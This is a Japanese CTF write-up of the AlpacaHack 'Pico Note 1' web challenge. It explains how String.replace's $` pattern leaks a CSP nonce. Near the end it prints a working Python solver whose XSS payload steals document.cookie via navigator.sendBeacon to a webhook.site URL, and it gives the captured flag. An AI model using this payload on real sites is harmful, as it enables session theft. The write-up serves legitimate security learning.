ctf upsolve by kodai Advent Calendar 2025(Day7)
2日続けて遅れてしまっています。次は遅れないように頑張ります。
取り扱った問題
AlpacaHack Round 2 (Web) Pico Note 1
Author: ark
upsolve
URLにアクセスするとtitleとcontentを入力するフォームが出てきて、入力するとそれがそのまま表示されます。

Admin botが動いておりそこにflagが格納されているので、XSSによってそれを奪取するのがゴールになります。
問題文を見ると、
The template engine is very simple but powerful 🔥
とあったので、テンプレートエンジンに何か問題があるのだと思ってソースコードを確認すると以下のようになっていました。
const render = async (view, params) => {
const tmpl = await fs.readFile(`views/${view}.html`, { encoding: "utf8" });
const html = Object.entries(params).reduce(
(prev, [key, value]) => prev.replace(`{{${key}}}`, value),
tmpl
);
return html;
};
自作のテンプレートエンジンなようです。
特に問題なさそう...
ということで、次はユーザの入力値に対してどのような処理が行われているのかを確認してみる。
コードは以下のようになっています。
app.addHook("onRequest", (req, res, next) => {
const nonce = crypto.randomBytes(16).toString("hex");
res.header("Content-Security-Policy", `script-src 'nonce-${nonce}';`);
req.nonce = nonce;
next();
});
app.get("/", async (req, res) => {
const html = await render("index", {});
res.type("text/html").send(html);
});
app.get("/note", async (req, res) => {
const title = String(req.query.title);
const content = String(req.query.content);
const html = await render("note", {
nonce: req.nonce,
data: JSON.stringify({ title, content }),
});
res.type("text/html").send(html);
});
CSPが16バイトのランダム値をhex化した結果がnonce属性としてつきます。
dataとcontentの内容はJSON.stringfyによってJSON文字列に変換されています。
その後に、以下のようになります。
<script nonce="{{nonce}}">
const { title, content } = {{data}};
document.getElementById("title").textContent = title;
document.getElementById("content").textContent = content;
document.getElementById("back").addEventListener("click", () => history.back());
</script>
titleとcontextがtextContentとして読み込まれているので、titleの入力時に</script>で閉じた後に<script>を発火させれば良さそうです。
後はCSPの突破です。先ほども書いたようにnonce-{16バイトのランダム値をhex化した結果}のnonceを特定しなければなりません。
つまり32文字のhex文字列を特定する必要があります。
僕の力ではここまででした。ギブアップ
upsolveします。
テンプレートエンジンの実装に注目すればよいみたいです。
const render = async (view, params) => {
const tmpl = await fs.readFile(`views/${view}.html`, { encoding: "utf8" });
const html = Object.entries(params).reduce(
(prev, [key, value]) => prev.replace(`{{${key}}}`, value),
tmpl
);
return html;
};
replace関数にどうやら面白い仕様があるようです。
テンプレートエンジンが怪しそうだなって思ってたけど、特定できなかった。悔しい...
https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/String/replace#置換文字列としての文字列の指定

置換文字列には特殊な置換パターンを入れることができるらしく、$` とすると、一致した文字列の直前の文字列の部分を挿入してくれるらしいです。
<script nonce="{{nonce}}">
上記のようにscriptでnonceは指定されているので、これを使えばCSPのnonceの値を取ってくることができます。
solverです。
import httpx
import urllib.parse
BOT_URL = "http://34.170.146.252:24777"
HOOK_URL = "https://webhook.site/8a3db8da-31ee-4f30-a141-3bf3ccf447bc"
def main():
client = httpx.Client(base_url=BOT_URL)
payload = (
"</script>"
"$`navigator.sendBeacon('"
+ HOOK_URL
+ "?'+document.cookie);"
"</script>"
)
target_url = f"http://web:3000/note?title={urllib.parse.quote(payload)}"
print("[*] report target URL:", target_url)
res = client.post(
"/api/report",
json={"url": target_url},
timeout=10,
)
print("[*] bot response:", res.status_code, res.text)
if __name__ == "__main__":
main()
FLAG : Alpaca{JavaScript_H4cks_Reb00ted}